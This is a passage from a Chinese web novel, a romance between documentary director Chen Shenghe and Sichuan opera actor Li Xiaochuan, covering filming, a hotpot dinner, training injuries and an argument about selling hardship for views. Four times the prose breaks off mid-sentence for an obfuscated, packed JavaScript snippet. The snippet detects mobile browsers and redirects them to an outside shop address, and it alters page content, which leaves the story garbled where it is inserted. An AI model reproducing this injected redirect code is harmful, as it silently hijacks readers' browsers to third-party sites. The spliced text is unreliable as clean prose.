那些细碎的习惯,连他自己都没在意过。可李霄川记得,全都记得。 他呼吸都放轻了,喉结不明显地动了动,像在小心咽下什么话。 过了会儿,才声音低低地冒出一句:“……现在改喝红茶了。” 李霄川轻笑一声,把烟头碾灭在水泥柱子上。 “挺好,”他顿了顿,语气听不出情绪,“潮汕人嘛,养胃。” 话里带着刺,可陈声和却听出了那点藏不住的疲惫。 远处车灯亮起,按了声喇叭,李霄川直起身,随手掸了掸衣服上根本不存在的灰。 “走了。” 他转身的瞬间,陈声和突然开口:“李霄川。” 那个背影顿住了,但没有回头。 “……药记得涂。”夜风卷走这句话,也遮住了声音里那点发抖的尾音。 李霄川的肩膀微微僵了一下,然后头也不回地大步离开了,背影很快被夜色吞没。 照顾好自己…… 这句话最终还是在齿间辗转,没能说出口。 陈声和望着那个彻底消失的方向,本以为早就麻木的心,此刻却清晰地痛了起来,像被看不见的玻璃碴子,从里到外缓缓地碾过。 重逢到现在,所有没能说出口的话与挣扎,到头来都映照在了那两句话上…… 相顾两无言,余温心中煎。 尚未语,舌底先泛痛;欲展颜,笑意已荒芜。 最终,他只得颓然地移开了视线。 …… 拍摄越来越顺利,剧组和川剧院合作度过了初期的摩擦期,居然也没发生过那些“听说”中可能会出现的麻烦事儿。 今天的拍摄安排在川剧院的档案室,主要拍一些老一辈艺术家留下的戏服和手稿。 一进门,樟木混杂着旧纸张的霉味就扑鼻而来,有种说不出的年代感。 陈声和到的时候,李霄川正俯着身子,凑在徐爷旁边认真听他说戏。 老琴师枯枝似的手指戳着陈旧的工尺谱,见他进来眯着眼睛笑:“陈导早啊,我们霄川昨儿熬大夜,就为了把今天的词儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004121|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背熟咯。” “徐爷。”李霄川出声打断,屈指在旁边的红木箱上不轻不重地敲了一下,发出闷响。 陈声和假装没留意,低头检查手里的设备,却听见林瑶悄悄凑过来,压低声音说:“陈导,李老师今天好像心情不太对,刚才我们架灯光的时候,他连反光板的角度都亲自指挥……要不要找个人去跟他聊聊?” 没等他回答,门轴吱呀一响。 “师兄!陈导!” 谢满悦兴高采烈地撞进来,马尾辫唰地扫过门框。她跟变戏法似的从背后掏出杯奶茶,塑料杯外头还挂着水珠:“陈导尝尝!酒酿桂花冻!我排了半小时队呢!” 甜滋滋的香味直往鼻子里钻。 陈声和一句“谢谢”还没出口,就听见李霄川在旁边飘过来一句:“他不喝甜的。” 空气中一静,李霄川自己也愣了愣,玻璃反光里映出他绷得紧紧的下颌线。这话根本没过脑子,是五年前的习惯,就像膝跳反应一样,真够可悲的。 谢满悦举着奶茶的手僵在半空,讪讪地往回缩:“啊……我不知道……” 陈声和伸手接了过去,“啪”地一声戳穿封膜,特别响:“现在能喝了,谢谢。” “啊……不客气不客气。”谢满悦干笑两声,估计觉得陈声和是给她台阶下,赶紧笑嘻嘻地躲到师兄身后去了。 李霄川别开视线,心里自嘲地笑了笑。时间过得太久了,他都忘了,人都是会变的。 陈声和余光扫过那个背影,捏着杯子的手紧了紧。甜味在舌根漫开,发着苦,像吞了一口隔夜的糖水。 “嗨呀!”徐爷拍着大腿笑了起来,“满满你这马屁拍的,人家川娃连陈导几岁戒糖都晓得!” 老人家的笑声在安静的档案室里显得特别突兀。 谢满悦眼睛亮晶晶的,笑得特别甜:“我晓得呀,陈导是师兄的学弟嘛。” 李霄川转身去翻戏服,语气平淡:“嗯,大学社团的学弟。”他抽出一件鱼鳞甲,金属片哗啦啦响,“不熟,所以才记错了他不喝甜的。” 徐爷的笑声慢慢停下,他半眯着眼,目光在陈声和紧绷的侧脸与李霄川故作忙碌的背影间打了个转,似乎咂摸出了一点不寻常的味道。 而那杯只陈声和只喝过一口的奶茶,静静搁在道具箱上,外壁的水珠越聚越多,却再没人碰过。 拍摄中途休息时,谢满悦凑到陈声和团队这边,神秘兮兮地问:“陈导,师兄大学时也这么吓人吗?” “吓人?”副导演老张叼着牙签凑过来,“昨儿我镜头偏了一点儿,李老师那眼神……”他做了个抹脖子动作,“嚯,我差点以为我职业生涯就到这儿了。” “你是导演还怕他?”谢满悦觉得老张夸张的很。 坐在一旁的林瑶狂点头:“我来这么几天,最害怕的就是和李老师对接,每次他一看我,我都紧张得手心冒汗,不知道的还以为他要我命呢。” “不过,”林瑶话一转,又不好意思地压低声音,“李老师那张脸演川剧实在可惜了,太帅了。” 谢满悦立刻点头,眼睛亮晶晶的:“对吧对吧!我师兄要是肯笑一笑,微博粉丝能再涨三百万!那张脸不拿来拍偶像剧真是暴殄天物!” 5. 他怎么把情话纹身上了 一阵起哄声中,陈声和没接话,只默不作声地拧紧了手里的矿泉水瓶盖,塑料瓶身在他掌心发出轻微的声音。 他忍不住想,李霄川以前是爱笑的,至少在他面前是。 只是那都是很久以前的事了。 刚才吃盒饭时,他刚挑起一粒花椒,饭盒就被李霄川顺手端走,换了一盒新的过来。 动作流畅得仿佛肌肉记忆,自然得好像这些年从未分开。可偏偏就是这种理所当然,在此刻喧闹的对比下,反而显得十分残忍。 你看,他还记得你不吃花椒,可也仅此而已了。 这种刻进骨子里的熟稔,如今却像一碗搁置太久的醪糟,表面还浮着一层温情的米浆,底下却早已发酵出呛人的酸。 又有人说:“长得是帅,就是脾气差了点。来之前我们就听说李师父脾气大,动不动撂挑子。” 谢满悦一听有人嚼师兄舌根,立马不乐意了,托着腮帮子就反驳了回去:“你们那是不了解他,早先好些导演压根不尊重我们川剧,觉得我们土。师兄愣是陪着熬通宵,手把手教,结果上映后就被剪成了碎片。” “他人好着呢,上个月我崴了脚,他二话不说背我去医院,路上还买了水果糖……”她突然意识到说漏嘴,慌忙捂住嘴,“这事千万别往外说,团里明令禁止师生恋的。” “…………” 陈声和把矿泉水瓶扔进旁边垃圾桶,依旧没怎么说话,只默默听着。 林瑶一颗八卦之魂被瞬间燃烧,她往谢满悦身边凑了凑,小声问:“师生恋?你喜欢李老师啊?” “谁不喜欢师兄啊?”谢满悦脸上红扑扑的,声音也轻轻的,“他就是看起来冷,其实人特别温柔。不过听说之前在艺校代课的时候,有个学生追他,闹得挺难看的,从那之后他就不太私下和学生接触了。” 林瑶咂咂嘴:“真的假的?这要是传出去,网上那些人还不得把他给喷惨了。” “可不是嘛,当时都闹到剧院来了。所以我们也就只敢偷偷喜欢一下。”谢满悦说着,忽然叹了口气,“不过……我猜师兄心里应该有人了。” 陈声和低着头,长发遮住了大半张脸,嘴唇抿得紧紧的。 林瑶的八卦雷达滴滴作响,又凑近一点,小声问:“谁啊?也是你们团的吗?” 谢满悦犹豫了一下,点点头:“可能是伍师姐,就是前天接待你们的那位。要是他们俩真在一起,我举双手赞成!” 林瑶忍不住笑了:“你不是喜欢他吗?” “喜欢又不一定非要在一起呀。”谢满悦低头拨弄着戏服上的流苏,“师姐那么优秀,他们俩站一块儿才叫般配。” 陈声和的手抠紧了拍板相机边缘,接着突然重重合上了镜头盖。 所有人都被这动静吓了一跳,齐刷刷看向他。 “三点钟了。”他站起身,语气平静得有点不自然,“准备下一场。” 没人注意到,档案架后面,李霄川正背对着他们,垂在身侧的手紧紧攥着戏服袖口,恨不得撕碎。 …… 傍晚拍摄结束整理器材时,徐爷神神秘秘地拉过陈声和,翻开一本老相册:“陈导,可以多拍拍霄川台下的样子,这孩子背后的故事才动人。” 老旧的照片上,十一岁的少年画着全妆,戏服领口隐约透出纱布痕迹。 “第一次登台就遇上台柱生病,他顶着骨裂演完《挑滑车》。”徐爷点了点照片里边缘的暗渍,“血把行头都染透了。” 陈声和垂在身侧的手指有些僵硬。那道横贯左肩的疤痕,他曾用嘴唇丈量过每一寸凹凸,可李霄川却总是笑着说早就不疼了。 徐爷翻到下一页,也是李霄川小时候的出演照片,陈声和突然“咦”了一声:“这张……” 老照片上,年轻的川剧演员们站成排,上面写着八几年文化交流合影留念。但在角落里,有位潮汕阿嬷穿着那年代的碎花衬衫,胸前别着“非遗交流”的证件。 “陈导认识?”徐爷随口问道。 陈声和喉咙发紧:“这是,我阿嬷……她居然来过成都?” “何止来过!”徐爷一愣,随即大笑起来,“看来我们川剧和陈导缘分还真不浅!” “当年她带潮剧团来交流,还教我们唱你们那儿名剧《苏六娘》《荔镜记》,哎哟,那会儿霄川他师父……” “徐爷。”李霄川的声音冷不丁从门口传来,他逆光而立,看不清表情,“团委找您。” 老人乐呵呵的走后,档案室重归寂静,只剩下俩人沉默着。 李霄川拿起那本发旧的相册,指腹轻轻摩挲过照片边缘:“你不知道?” 陈声和摇摇头,额前碎发跟着轻轻一晃。阿嬷生前从没提过这茬,他也没见过类似的照片,简直像被人悄悄藏起来的记忆。 李霄川突然想起什么:“对了,我师祖留下的东西里,还有一支潮汕银簪,要入镜吗?” “不用了。”陈声和停了停,声音轻了下去,“阿嬷……去年过身了。” 李霄川心头像被揪了一下。他看着陈声和被头发遮住的侧脸,那身影单薄得让他喉咙发紧,想伸手抱抱他,最终却只是攥住了自己的衣角。 他想:阿公不在了,阿嬷也走了,我们声和……那时候一定很难熬吧? 他猛地转身去拿水杯,动作快得带起了衣领,后颈上,一小片刺青就这无意间露了出来。 平时都被遮得严严实实,陈声和也是第一次看见。 他眯眼仔细看着辨认,那是一行有点褪色的潮汕话,墨迹旧旧的,但两个字还很清楚“免惊”。(别怕) 这是大学时,他教李霄川的第一句潮汕话。 怎么会……他居然,还把它留在了身上。 这个认知比任何安慰都让他心更痛,陈声和慌忙躲开视线,眼角火辣辣的疼。条件反射就侧身别过身子,用整个后背挡住对方,也挡住自己即将决堤的狼狈。 一眨眼功夫,俩人已经背对背了。就几步的距离,却像隔了万水千山,满肚子的话卡在喉咙口,吐不出也咽不下。 …… 这天拍摄结束后,剧组张罗着聚餐,特意邀请了川剧团的演员们。地点就选在剧团后巷那家开了二十年的老火锅店。 “师兄说他不来了,”谢满悦一边拆餐具一边解释,“他嫌火锅味沾戏服上不好洗。” 这借口找得太拙劣,谁家好人穿着戏服来吃火锅啊?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004122|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但众人互相看看,到底没戳破。 林瑶夹了片毛肚在锅里七上八下地涮着,笑着打圆场:“成都人不吃火锅?这也太稀奇了。” “他例外噻,”谢满悦往油碟里加了勺蒜泥,“我们团建他都只点鸳鸯锅,从来不捞红汤里的菜,你说奇不奇怪?” 这话引得满桌哄笑,大家纷纷开始贡献自己遇到的“火锅怪癖”。 喧闹声中,陈声和手里的筷子突然一滑,刚夹起的嫩牛肉直直掉进油碟,溅起几滴滚烫的红油。 就这一下子,回忆劈头盖脸地涌来。 那时候他们刚恋爱,每次吃火锅都点鸳鸯锅。 因为他一吃辣就受不了,李霄川总是先把虾滑、牛肉那些在清汤里仔细涮熟,全捞到他碗里码得整整齐齐,自己才不紧不慢地开始涮红汤。 “这样就不会串味啦。”那个人总是这么说,眼角弯弯的。 其实刚来成都上学那会儿,他不是没努力过。为了尽快和本地同学打成一片,他硬着头皮三天两头跟着去吃火锅,毕竟便宜又实惠,很适合他们大学生。 结果每次回来抱着马桶吐到半夜。 那点可怜的胃,就是那时候彻底搞坏的。 陈声和望着油碟里那块无辜的牛肉,一时有些怔忡,直到旁边演员的声音把他拉回现实。 “陈导也不吃辣啊?”团里另外一名演员张图灌了口啤酒,指了指陈声和面前那杯已经浑浊的涮菜茶水,“看你一直在茶水里头涮来涮去的。” “我们广东人吃辣,讲究一个认怂保平安啦!像这样的,”林瑶指着碗里那点可以忽略不计的红油,“就已经是灵魂在颤抖的级别了!” 大家又哄笑起来,陈声和牵了牵嘴角,低头把那块掉落的牛肉默默夹起。 就当是默认了。 谢满悦凑近一点,又开始打听了起来:“陈导,你和师哥在大学……是不是有过什么误会啊?” 陈声和摇摇头:“没有。” “哦。”谢满悦又补了一句,“那看来你们真的只是不熟了,我们还以为你俩有什么过节,冤家路……” 一桌子眼观鼻,纷纷都竖起来了耳朵,俩人在片场那微妙的互动,真不像没仇的。 陈声和却依旧不多说。 “对了陈导,”谢满悦声音压低了一些,“师兄在大学谈过女朋友吗?” 陈声和握着筷子的手指微微发白。他不知道该怎么回答这个问题,只能含糊地说:“应该有吧,我不太清楚。” 谢满悦识趣不问了。 饭桌上大家越聊越high,话题一转,拐到了李霄川的情史上。 边上笑声一阵接一阵的,陈声和却觉得那些笑声像毛毛雨里的细沙,密密地扑在心上,磨得人不自在。 “我吃好了,你们慢慢吃。”他最终放下筷子,用餐巾擦了擦嘴角。起身时,长发垂落下来,恰到好处地遮住了他的表情。 走出火锅店,陈声和没有立即离开。他在路边的长椅上坐下,看着曾经熟悉的街景,最后掏出手机翻看今天拍摄的素材。 屏幕的光映在他脸上,直到火锅店的霓虹灯熄灭,人群散去,他才缓缓起身,融入了成都的夜色中 6. 他是不是在卖惨 到了一周后,川剧武生幕后的基本功训才开始拍摄。 清晨六点的练功房。 外头的雾气还没散尽,木地板被灯光照得发亮,李霄川已经带着一群年轻学员在压腿了。 空气里有种说不清的味道,像是消毒清洁剂,又夹杂着一些练功人身上的汗味儿。 陈声和走到监控器后面,刚坐下,一抬头,就看见李霄川正单手托着一个学员做朝天蹬。 那只手臂绷得紧紧的,肌肉线条又硬又利落,手背上青筋都鼓了起来。他的练功服早就被汗浸透了,湿湿地贴在脊梁骨那道凹下去的线上,随着他一下一下的呼吸,轻轻起伏。 “陈导来了?”伍云舒笑着给李霄川递上热毛巾,指节上还沾着没擦净的油彩,“李老师今天特别狠,连压三个学员哭爹喊娘,小张刚才出去的时候腿都是抖的。” 话音落下,李霄川朝这边瞥了一眼,目光在陈声和身上停留一下,又转向躲在人群后看热闹的小师妹:“谢满悦,你来示范倒僵尸。” 女孩脸色唰地白了。这是演员最苦的硬功,要求直挺挺后仰摔地,不少学员练了半年都不敢尝试。 “我、我还没学会呢……” “我护着你。”李霄川已经走到垫子前,黑色练功裤裹着修长的腿,裤脚沾着地板上的灰。他朝陈声和的方向偏了偏头,“正好让纪录片拍点真东西。” 伍云舒笑着拍了拍小师妹的肩膀:“去吧,可不能在外人面前给剧团丢人啊。”她意有所指地看了眼摄像机,“让他们看看我们不止会卖惨。” 陈声和抿紧了嘴唇,默默听着,他知道伍云舒的潜台词是什么。 这些年非遗题材火了,但很多纪录片导演更爱拍演员们背后的伤痛。 裂开的虎口、贴满膏药的腰、凌晨空荡荡的练功房。观众爱看这些不容易,却少有人真正记住戏台上的招式。 然而嘴上都是主义,心里全是生意。说得好听叫展现不易,争取支持,说白了,不就是卖惨冲播放量好变现嘛。 “这世道三百六十行,行行都不容易。可要真把练功留下的淤青、磨损的关节都摊开来博同情,那我们这行跟生产廉价感动的心灵鸡汤流水线,有什么区别?” 李霄川当年就这么跟陈声和说过。 非遗最核心的价值在于它的美与妙啊。而真正高明的传播,是让观众在愉悦中自然而然地接受信息。 “选择权在他们手里,我们不能、也不该用‘卖惨’、‘纯媚洋外’这种言论来绑架他们的同情心。” 现在的观众捧着手机刷视频,图的就是个轻松解闷。 谁愿意天天看这些苦情戏? 上班族挤地铁挤得前胸贴后背,学生被书包和希望压得腰都直不起来,毕业了还找不到工作,对人生出现仿徨;全职妈妈熬夜带孩子被困在那四堵墙里等等…… 谁的日子不是一地鸡毛呢。 人人都在暗处崩溃,又在天亮前把自个儿拼好。要是个个都把自己的苦水往外倒,这世界怕是要被眼泪淹了。 老祖宗传下来的玩意儿讲究的是“台上一分钟,台下十年功”。要让人记住的是你手里的真功夫,是戏文里讲的仁义礼智信,不是你膝盖上贴的膏药和那张有多好看的脸。 “非遗卖惨那套啊,就跟往好酒里兑白开水似的,既糟蹋了手艺,又膈应了看客。” …… 谢满悦颤巍巍站定,闭眼往后一仰,李霄川几乎是同时箭步上前,稳稳托住了她的后颈。 本该是个标准保护动作,他却突然皱眉,闷哼了一声。 陈声和亲自在掌镜,条件反射地把镜头推近。特写画面里,李霄川右手腕缠着的绷带已经渗出血丝,在雪白纱布上晕开一小片红。 “李师兄!”几个学员惊呼着围上来。 镜头在陈声和手里微微一抖。那片洇开的红色,透过取景框灼了他的眼。 他下意识地想开口,那句“你的手……”这话在他喉咙里滚了又滚,最终撞上李霄川瞥来的目光,彻底哑火。 那眼神里找不到一点儿吃痛的样子,只有一片深潭似的静,把他那点关切全噎了回去。 李霄川甩甩手腕,语气淡得像没事人:“没事,继续。”他抬头看了眼墙上的钟,“再练半小时云手,然后排《挑滑车》。” 镜墙前,那道高挑的身影再次抬起双臂,缓缓示范起云手。素白水衣早被汗水浸透,紧贴在背上,随动作绷出清晰的肩胛骨轮廓。 衣摆晃动间,隐约露出后腰上一道旧伤疤。 陈声和记得,那是大二那年李霄川为校庆排练时摔的,当时缝了好几针。 五年过去,李霄川的轮廓比记忆中更加锋利,身上的伤却也只增不减。 此刻晨光正从高窗照进来,描摹着他的侧脸线条。眉骨那儿落下一小片侧影,显得眼窝格外深。阳光一晃,他右眼角那颗小痣忽然变得特别显眼。 他微微皱着眉,捏着一个师弟的手腕,正一点一点帮他调整姿势。陈声和甚至听见了骨节轻轻摩擦的声响,细细的,却特别清楚。 “手腕再抬高三分。”李霄川的声音很严厉,松开手时在对方皮肤上留下几道红痕。 他自己做了个标准的起势:“川剧的架势不是摆出来的。”转身时衣袂翻卷,“是骨头里长出来的。” 那师弟红着脸点头,笨拙地模仿着,却总差几分味道。 陈声和站在门口,摄像机红灯无声闪烁。 恍惚间,木质地板变成了大学活动中心的复合地板,晨雾变成了那年秋天校园里的梧桐叶影。 李霄川穿着洗得发白的文化衫,对刚入社的他伸出手:“手腕要这样翻小广仔……” 镜头里的画面变得模糊了。他眨了眨眼,发现是练功房的热气在镜片上凝了层白雾。 那时的李霄川也是这样,站在练功镜前,脊背绷得笔直。汗珠子顺着脖颈往下淌,在锁骨那儿打个转,最后砸在地板上。 陈声和透过取景框看他,镜头里的男人比五年前更瘦,下颌线像是用刀刻出来的,唯有那双眼睛,依旧亮得灼人。 陈声和忽地拿起对讲机:“全体休息十分钟。” 片场霎时一静,这才开拍不到半小时,而且川剧团的人都知道,李霄川教戏时最讨厌被人打断。 几个年轻演员互相使着眼色,有个胆小的已经往墙角缩了半步。 “陈导,”李霄川慢条斯理地卷起染血的绷带,纱布撕开发出嘶啦声。 “我们这行讲究戏比天大,断骨头都得把戏唱完。”他抬眼,眸色漆黑,“您要是受不了,现在可以把你这些,”他指了指器材和灯光设备,“拿回家了。” 他把“回家”两个字在齿间磨了又磨,每个字都像生了锈的钉子,硬生生往人心里钉。 陈声和没说话。他握紧对讲机的手慢慢松开,金属机身被掌心焐得发烫。他径直走到药箱前,翻出碘伏和纱布,塑料包装在他手里哗啦作响。 在全场人的注视下,他一把拽过李霄川的手腕开始消毒,动作熟练得像做过千百遍。 事实上也确实如此。 “李师傅对我们剧组似乎有很大的偏见。”陈声和声音轻轻的,手里的棉签却狠狠压进伤口,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004123|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纪录片要拍真实的川剧,不是拍自虐卖惨。” 李霄川腕骨一挣,想抽回手,却被对方更用力地按住。 他忽然就不动了。 以前也是这样。他每次练功带伤,这人总是这样,一边冷着脸数落他不知爱惜,一边小心翼翼地为他处理伤口。 只是当年,那棉签落下的力道,比此刻还要重得多,仿佛要把所有的担忧和气愤,都狠狠摁进他的皮肉里,让他长记性。 但最后,总是陈声和自己先红了眼眶,非要他搂着腰,轻声哄着,吻去眼角那点湿意,才肯吸着鼻子继续。 现在,这双为他缠绕纱布的手,依旧稳定,可那份隐忍的颤抖,仿佛从手指传递过来,幅度都没变过。 “休息十分钟再开始!”副导演吼了一嗓子,寂静的片场瞬间活跃起来,谁都没管他们,每个人的眼神却都控制不住地往他俩身上瞄过去。 陈声和松开手,声音压得很低,只有两人能听见:“你既然是剧院的主演,就该明白,在镜头前好好展现川剧的魅力,才是对这门艺术最好的宣传。” 他没等李霄川回应,又自顾自说了下去,像是说给对方,又像在对自己开口:“你以前总说,卖惨就是博同情。是,这话没错。可你想过没有,为什么这招到现在还这么好使?” 因为大家活得都不轻松。 普通人累了一天,瘫在沙发上打开手机,谁还想再看一个完美无缺、不食人间烟火的神仙? 大家想看到的,是一个也会摔跤、也会掉眼泪、也会半夜睡不着觉的真人。 哦,原来他也有过这么难的时候啊,他跟我差不多。 这么一想,心里那个柔软的地方就不由自主地动了一下,像是找到了共鸣,终于敢让自己轻松片刻。 五年前李霄川说的的那些话,五年后,陈声和在这给他补上了现实这一课。 观众不是不爱看惨,是自己日子也苦,才想从别人身上找点理解,寻点安慰: 你看,世界上不是我一个人这么难过。 还好,不止我一个人觉得生活担子这么重。 于是,一种心照不宣的“表演”便诞生了。 “我经历过贫穷,所以我知道好东西又便宜有多重要。” “我当过妈妈,知道带孩子的辛苦,所以把最好的母婴产品带给大家。” “我也遭遇过职场霸凌,所以演这部戏时特别能体会。” 这些话术,说白了,就是把个人的那点难处,精心打包成大家都能‘懂你’的感觉。让你最疼的伤,变成最能卖钱的故事。 买的人和卖的人,在那几分钟里都觉得,就咱这交情,可不只是钱的事儿。 但陈声和清楚,李霄川也清楚:台上流完泪、诉完苦,下了台,镜镜头一关,伤口是假的,但流进他口袋里的,可是真金白银。 你说你看不起卖惨? 可现实就这么讽刺,他卖惨能捞着好处,而你清高,你一身伤。 “李霄川,你比谁都清楚这其中的虚妄,不是吗?” 李霄川嘴角动了动,没说话,可那眼神里的倔强和疲惫,混在一起,最后都成了痛。 他知道陈声和不是在讥讽他。 陈声和是在用这种不留情面的方式,把血淋淋的真相撕开给他看:既然你打心眼里瞧不上那套,就别……别总把自己弄得浑身是伤。 既然你选了这条更干净、也更难的路,那就得好好珍惜自己。你这一身的伤,在真心疼你的人眼里,从来不是什么勋章。 那只是扎在他们心上的软刺,是让他们夜里睡不着觉的裂缝。 7. 练功房的旧伤好疼 午休时,谢满悦偷溜到陈声和团队这边。这丫头和陈声和团队已经混熟了,最近总借着送盒饭的由头往剧组钻。 “师兄最近特别可怕,”她叼着吸管含混地说,眼睛瞟着不远处练功房紧闭的门,“今早那出根本是杀鸡儆猴。” 她刻意压低声音凑近:“听说他昨天和张团委吵架,硬把非遗专场从下月改到这周。” 林瑶正整理场记板,闻言啪地合上本子:“那我们拍摄计划全得提前?” “所以才赶着拍基本功啊。”谢满悦的塑料凳往陈声和那边挪了半寸,“陈导,您能不能劝劝他?他右手腕是旧伤,再折腾真要废了,我们都不敢劝。” 副导老张往嘴里扒着饭插嘴:“李老师这么拼图啥?” 谢满悦的眼神瞟向陈声和,欲言又止。半晌才说:“他说……要赶在你们走之前演全本《送京娘》。”吸管被她咬得扁扁的,“所以我来,问问陈导,可不可以再延迟几天时间?” 陈声和正在调光圈的手一抖,取景器里的画面晃成了一团糊。 谢满悦以为是剧组看李霄川不好相处要提前走,其实不是的。 这部戏,是他们恋爱时,李霄川承诺要为他一个人演的戏。 那时候李霄川总爱在排练厅给他比画,说《送京娘》里赵匡胤千里送京娘的故事,说这出戏的武生要连翻三十六个跟头,说他以后要专门练给陈声和看。 可惜到分手,他们都没有实现。 下午拍摄道具库时,外头的天色已经转阴了。 库房里飘着淡淡的桐油味和陈年的霉味儿。角落堆着的戏服在灯光下看起来更旧了。 李霄川脱了外套,只穿着一身练功服,开始演示他的打出手。九杆花枪在他手里像是活了过来,划出的轨迹又准又狠。 陈声和透过镜头跟着那道挺拔的身影,看着看着,眉头轻轻一皱,每次高踢腿的时候,李霄川都会在空中微妙地顿那么一下。 要不是高清镜头贴着拍,要不是他看得这么仔细,这点小动作根本发现不了。 是膝盖的老伤吧。 陈声和很熟悉这些个细节了。他总是能第一个察觉到李霄川身上任何一点不对劲儿。 “最后一段,踢枪背接。”李霄川随手抹了把汗,突然手腕一抖,把那杆花枪朝陈声和掷了过来,“陈导,劳驾当个桩子。” 他语气装得挺随意,可微微带喘的尾音还是出卖了他。 枪杆划破空气嗖地飞来,旁边几个工作人员吓得齐刷刷往后躲。 陈声和却不自觉地伸手一接,稳稳抓住枪柄。上面缠的红绸都有些褪色了,边缘磨得发白。 这是武生对练的经典起手式。 大学那会儿,他没少陪李霄川练功。 那时候这家伙总爱使坏,故意越打越快,把他转得晕头转向。最后两个人都站不稳,一起栽在垫子上,笑得上气不接下气。 “敢不敢试试?”李霄川眼里带着熟悉的挑衅,嘴角微微上扬。 库房里的灯光在他脸上投下,显得那道轮廓锋利无比。那张脸在光束下呈现出来,真如林瑶所说,演川剧可惜了。 周围的工作人员开始起哄起来,老张捅了捅林瑶:“这气氛总算活络点了,前两天跟冰窖似的。” 林瑶刚要附和,突然意识到什么,赶紧做了个噤声的手势。 陈声和沉默地站到指定位置,身后又传来老张压低的嗓音:“林瑶,咱陈导还有这手?” “陈导大学社团是戏曲社的。”林瑶脱口而出,随即惊觉失言,赶紧捂住嘴。 这可是陈导明令禁止提起的陈年旧事。 老张眉毛挑得老高,又凑近几分:“潮汕人跑去学川剧?”他声音里带着掩饰不住的新奇。 林瑶只敢用气音“嗯”了一下,补充道:“他一直想拍英歌舞和川剧融合的片子。” 说罢就抿紧嘴唇,再不肯多透露半个字。 鼓点响起,李霄川旋身踢枪,红缨枪尖带着风声直逼陈声和面门,在鼻尖前半寸急停,转而扫向他腰间。 陈声和向后仰避让,却被枪杆轻巧地勾住皮带往回带,就像当年排练时一样,李霄川总爱用这招捉弄他。 李霄川眼里刚冒出点得意,正要继续,突然脸色大变。 陈声和时间久了没陪练,一个没站稳,感到后背撞上了什么硬物,紧接着是木架倒塌的巨响。在众人惊呼声中,李霄川猛地扑过来将他护在身下。 架子上摆放的道具箱摇晃着砸了下来。 一顶珠冠的金属装饰正扎进李霄川肩膀上,鲜血瞬间渗透了白色练功服,在布料上晕开一片血花。 陈声和觉得浑身的力气都被抽干了,一股寒气顺着脊椎骨窜上来,他死死地盯着肩膀那道伤口,眼睛涩得发疼。 那里有以前就骨裂过的旧伤。 这些戏曲头面上的东西讲究得很,为了逼真和坠感,珍珠、金丝、点翠,没一样是假的,真金属又硬又韧,那一下扎进去,旧伤叠新伤,他都不敢想得有多疼。 片场乱成一团,林瑶喊了一声:“打120!” 李霄川已经被众人扶了起来,他摆了摆手,无所谓道:“不用,小伤。” 陈声和咬紧了牙齿,他清楚李霄川在报复他那句“小伤”。 他转身离开,只丢下一句:“等李老师好了再拍。” …… 剧团医务室里弥漫着消毒水的气味。医生刚给李霄川包扎完伤口,团委的人就冲了进来,领头的王主任脸色铁青。 “李霄川!非遗专场提前的事为什么不商量?”王主任的声音在狭小的医务室里显得特别尖锐。 李霄川靠在病床上,脸色苍白得像纸,语气却依然带刺:“《送京娘》全本,周五晚七点,票已经印好了。” “胡闹!你这样子怎么演高难度武戏?” “死不了。”李霄川轻描淡写地吐出三个字,手指却按在绷带边缘。 陈声和站在门外,透过半开的门缝听见王主任质问:“就为了赶在那个潮汕导演走之前演?全团陪你发疯?!” 李霄川不吭声了,医务室的白炽灯照在他脸上,衬得他眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004124|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的青影更加明显。 王主任气得来回踱步,皮鞋在地板上敲出急促的声响:“我们合同签好的时间,更何况是华央要求拍的省级纪录片,他要是敢提前走,我们必须追究他的责任。” “然后呢?”李霄川的声音突然轻了很多,像是疲惫到了极点,“再找一个剧组过来拍,再磨合,最后发布到网上的却是我们的伤疤、痛苦,用这些东西博取同情换取流量。而我们真正想宣传的川剧,却被遗忘在外,甚至换来骂声一片。” “难道这就是你们想要的结果?” 王主任气得一时语塞,李霄川的话像一记闷棍敲在他心口上。 